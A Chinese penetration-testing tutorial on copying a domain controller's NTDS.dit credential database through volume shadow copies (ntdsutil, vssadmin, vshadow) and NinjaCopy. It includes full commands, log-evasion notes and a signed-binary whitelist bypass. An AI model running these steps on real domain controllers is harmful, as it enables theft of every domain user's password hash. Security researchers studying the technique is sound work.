域渗透——获得域控服务器的NTDS.dit文件 | xxx域渗透——获得域控服务器的NTDS.dit文件 – xxx
菜单

域渗透——获得域控服务器的NTDS.dit文件

七月 21, 2018 - 3gStudent

0x00 前言


在之前的文章《导出当前域内所有用户hash的技术整理》曾介绍过通过Volume Shadow Copy实现对ntds.dit文件的复制, 可用来导出域内所有用户hash。本文将尝试做系统总结,总结多种不同的方法。

0x01 简介


本文将要介绍以下内容:

0x02 通过Volume Shadow Copy获得域控服务器NTDS.dit文件


测试系统:

Volume Shadow Copy Service:

1、ntdsutil

域环境默认安装

支持系统:

常用命令:

(1) 查询当前快照列表

ntdsutil snapshot "List All" quit quit 

(2) 查询已挂载的快照列表

ntdsutil snapshot "List Mounted" quit quit 

(3) 创建快照

ntdsutil snapshot "activate instance ntds" create quit quit 

(4) 挂载快照

ntdsutil snapshot "mount GUID" quit quit 

(5) 卸载快照:

ntdsutil snapshot "unmount GUID" quit quit 

(6) 删除快照

ntdsutil snapshot "delete GUID" quit quit 

实际测试:

(1) 查询当前系统的快照

ntdsutil snapshot "List All" quit quit ntdsutil snapshot "List Mounted" quit quit 

(2) 创建快照

ntdsutil snapshot "activate instance ntds" create quit quit 

guid为{6e31c0ab-c517-420b-845d-c38acbf77ab9}

如下图

域渗透——获得域控服务器的NTDS.dit文件

(3) 挂载快照

ntdsutil snapshot "mount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit 

快照挂载为C:/$SNAP_201802270645_VOLUMEC$/,如下图

域渗透——获得域控服务器的NTDS.dit文件

(4) 复制ntds.dit

copy C:/$SNAP_201802270645_VOLUMEC$/windows/NTDS/ntds.dit c:/ntds.dit 

(5) 卸载快照:

ntdsutil snapshot  "unmount {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit 

(6) 删除快照

ntdsutil snapshot  "delete {6e31c0ab-c517-420b-845d-c38acbf77ab9}" quit quit 

2、vssadmin

域环境默认安装

支持系统:

常用命令:

(1) 查询当前系统的快照

vssadmin list shadows 

(2) 创建快照

vssadmin create shadow /for=c: 

(3) 删除快照

vssadmin delete shadows /for=c: /quiet 

实际测试:

(1) 查询当前系统的快照

vssadmin list shadows 

(2) 创建快照

vssadmin create shadow /for=c: 

获得Shadow Copy Volume Name为//?/GLOBALROOT/Device/HarddiskVolumeShadowCopy12

如下图

域渗透——获得域控服务器的NTDS.dit文件

(3) 复制ntds.dit

copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy12/windows/NTDS/ntds.dit c:/ntds.dit 

(4) 删除快照

vssadmin delete shadows /for=c: /quiet 

3、vshadow.exe

系统默认不支持,,可在Microsoft Windows Software Development Kit (SDK)中获得该工具

注:

64位系统需要使用64位的vshadow.exe

不同系统可供使用的vshadow.exe下载地址:

http://edgylogic.com/blog/vshadow-exe-versions/

常用命令:

(1) 查询当前系统的快照

vshadow.exe -q 

(2) 创建快照

vshadow.exe -p -nw C: 

参数说明:

-p persistent,备份操作或是重启系统不会删除

-nw no writers,用来提高创建速度

C: 对应c盘

(3) 删除快照

vshadow -dx=ShadowCopySetId  vshadow -ds=ShadowCopyId 

实际测试:

(1) 查询当前系统的快照

vshadow.exe -q 

(2) 创建快照

vshadow.exe -p -nw C: 

获得SnapshotSetID为{809b77cc-cf9a-4101-b802-08e97d10e613}

获得SnapshotID为{ef99d039-9a38-4e8b-9f57-e3113d464f76}

获得Shadow copy device name为//?/GLOBALROOT/Device/HarddiskVolumeShadowCopy10

如下图

域渗透——获得域控服务器的NTDS.dit文件

(3) 复制ntds.dit

copy //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy10/windows/NTDS/ntds.dit c:/ntds.dit 

(4) 删除快照

vshadow -dx={809b77cc-cf9a-4101-b802-08e97d10e613} 

or

vshadow -ds={ef99d039-9a38-4e8b-9f57-e3113d464f76} 

4、vssown.vbs

可供参考的下载地址:

https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

本质上是通过wmi对ShadowCopy进行操作

通过wmi查询快照信息:

wmic /NAMESPACE:"//root/CIMV2" PATH Win32_ShadowCopy GET DeviceObject,ID,InstallDate /FORMAT:list 

powershell实现:

https://github.com/samratashok/nishang/blob/master/Gather/Copy-VSS.ps1

扩展

1、日志文件

调用Volume Shadow Copy服务会产生日志文件,位于System下,Event ID为7036

执行ntdsutil snapshot "activate instance ntds" create quit quit会额外产生Event ID为98的日志文件

如下图

域渗透——获得域控服务器的NTDS.dit文件

2、访问快照中的文件

查看快照列表:

vssadmin list shadows 

无法直接访问//?/GLOBALROOT/Device/HarddiskVolumeShadowCopy12中的文件

可通过创建符号链接访问快照中的文件:

mklink /d c:/testvsc //?/GLOBALROOT/Device/HarddiskVolumeShadowCopy12/ 

如下图

域渗透——获得域控服务器的NTDS.dit文件

删除符号链接:

rd c:/testvsc 

利用思路:

如果当前系统存在快照文件,可对系统的历史文件进行访问

3、利用vshadow执行命令

参考资料:

https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/

执行命令:

vshadow.exe -nw -exec=c:/windows/system32/notepad.exe c: 

执行后,后台存在进程VSSVC.exe,同时显示服务Volume Shadow Copy正在运行,需要手动关闭进程VSSVC.exe

注:

手动关闭进程VSSVC.exe会生成日志7034

利用思路:

vshadow.exe包含微软签名,能绕过某些白名单的限制。如果作为启动项,Autoruns的默认启动列表不显示

0x03 通过NinjaCopy获得域控服务器NTDS.dit文件


下载地址:

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

没有调用Volume Shadow Copy服务,所以不会产生日志文件7036

0x04 小结


本文整理了多种获得域控服务器NTDS.dit文件的方法,测试使用环境,比较优缺点。


LEAVE A REPLY


Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51